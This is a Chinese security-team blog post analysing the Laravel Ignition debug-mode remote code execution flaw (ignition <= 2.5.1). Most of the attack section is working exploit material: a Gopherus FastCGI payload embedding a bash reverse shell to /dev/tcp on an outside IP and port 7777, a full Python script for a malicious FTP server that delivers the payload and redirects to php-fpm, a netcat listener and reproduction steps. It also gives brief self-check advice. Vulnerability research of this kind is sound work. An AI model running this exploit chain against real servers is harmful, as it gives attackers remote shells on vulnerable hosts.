mmsrc

公告

【分享】LARAVEL <= V8.4.2 调试模式下的RCE分析

来源:陌陌安全 发布时间:2021-01-15

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-5309500f-f8e0-3091-b832-d2bca4d75753.jpeg


LARAVEL下的利用方式


先点题,看看在laravel下怎么触发这个漏洞



https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-03b1cfc4-5c1b-3e4e-8e0b-08ec8846421b.jpeg


直接把上述请求body中的viewFile参数的值替换为一个恶意ftp地址就可以实现rce
那是随便一个ftp服务都可以吗?
当然不是
这个ftp服务需要满足一个条件:当客户端第一次连接时返回payload,第二次连接时将客户端连接导向其他ip:port
那为什么只要访问满足上述条件的ftp服务就可以完成攻击呢?
这咱们就得来看看laravel的代码逻辑了:

laravel在第6版之后,debug模式使用了ignition组件来美化堆栈信息,除此之外,ignition还附带了“一键修复bug”的功能,例如:如果我们在模板中使用了一个未知变量,会发生如下情况


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-30c71246-ff01-33a8-b515-9e0dc897429a.jpeg


只要我们轻轻点击“Make variable optional”就可以一键修复bug

那ignition是怎么实现这一功能的呢,抓个包看看:


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-0f34f915-4f8b-3e39-b46b-8800adf72e37.jpeg

其中,我们重点关注viewFile这个参数,代码中对它进行了如下处理:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents)

正是这里的一读一写操作给我们带来了利用的机会~
接下来咱们以打本机的fpm服务为例来演示如何利用上述看似安全的代码实现rce


生成payload

使用gopherus生成攻击fastcgi的payload


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-138f9223-1f7f-3a78-8cd2-82202fc5bf87.jpeg


箭头1处输入目标服务器上的某个php文件的真实路径
箭头2处输入你想要在目标上执行的命令

得到payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.16.230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

咱们只需要_后面的内容,也就是

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.16.230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

用生成的payload替换掉下面ftp脚本中的payload


搭建恶意ftp服务

写了个脚本(代码轻喷~😬):


# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/127.0.0.1/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000

print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1


运行上述脚本,一个恶意ftp服务就起来了
这个脚本做的事情很简单,就是当客户端第一次连接的时候返回我们预设的payload
当客户端第二次连接的时候将客户端的连接重定向到127.0.0.1:9000,也就是我们的php-fpm服务的端口

ps:其中ftp服务端返回的状态码是比较重要的,如果状态码不对是无法连接成功的,但是这些状态码也不是特别严格贴一篇参考文章:https://blog.csdn.net/qq981378640/article/details/51254177

使用该脚本需要自己修改对应的ip:port


本地起一个测试环境

如果你本地有php-fpm组件,可以直接运行php-fpm

我这里是用的vulhub的fpm docker镜像


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-aff897d2-d5c3-368a-9fbc-6cb59cd01e81.jpeg


本地监听一个端口用于接收reverseshell

nc -l 7777


复现

运行命令php -a进入php交互环境:
然后分别执行$a = file_get_contents("ftp://aaa@172.16.230.146:23/123");以及file_put_contents("ftp://aaa@172.16.230.146:23/123", $a);

其中ftp的地址就是我前面起的恶意ftp地址


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-0230b2cc-459e-33ed-8236-889558a1b671.jpeg

第二次file_put_contents会报错,但是不需要在意,因为我们的shell已经拿到了

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-4bb2a071-ec76-327a-aab2-072530d803e9.jpeg


其他

漏洞影响:
ignition <= 2.5.1
其中,当ignition版本小于1.5时,请求的路径不再是_ignition/execute-solution,而是flare/execute-solution
漏洞自查:
扫一下_ignition/health-check以及flare/health-check
by the way,整篇文章的精华都在脚本了🤗


参考:

https://www.anquanke.com/post/id/226750#h2-0
https://www.ambionics.io/blog/laravel-debug-rce


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-8935c2fb-656e-309f-b125-f419bdcd7831.png





About us

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-d6db131b-0244-3de9-81d9-e99f6f40ec52.gif

陌陌安全
致力于以务实的工作保障陌陌旗下所有产品及亿万用户的信息安全
以开放的心态拥抱信息安全机构、团队与个人之间的共赢协作
以自由的氛围和丰富的资源支撑优秀同学的个人发展与职业成长


/   往 期 分 享   /

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-e0cadffa-6d40-311b-8580-53f4c017257d.png
陌陌SAST IDEA插件开源

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-fbdea451-627c-3f47-a21d-e50c857c827d.png
陌陌合规审计平台Bombus开源

https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-8bc8f907-469d-3608-8752-534f0e6fc75e.png
MOSEC-X-PLUGIN 系列插件开源


https://momo-mmsrc.oss-cn-hangzhou.aliyuncs.com/img-a65b928e-ee2e-3d46-8be8-2e7804daeea2.jpeg
「陌陌安全」
扫上方二维码码关注我们,惊喜不断哦

M   O   M   O   S   E   C   U   R   I   T   Y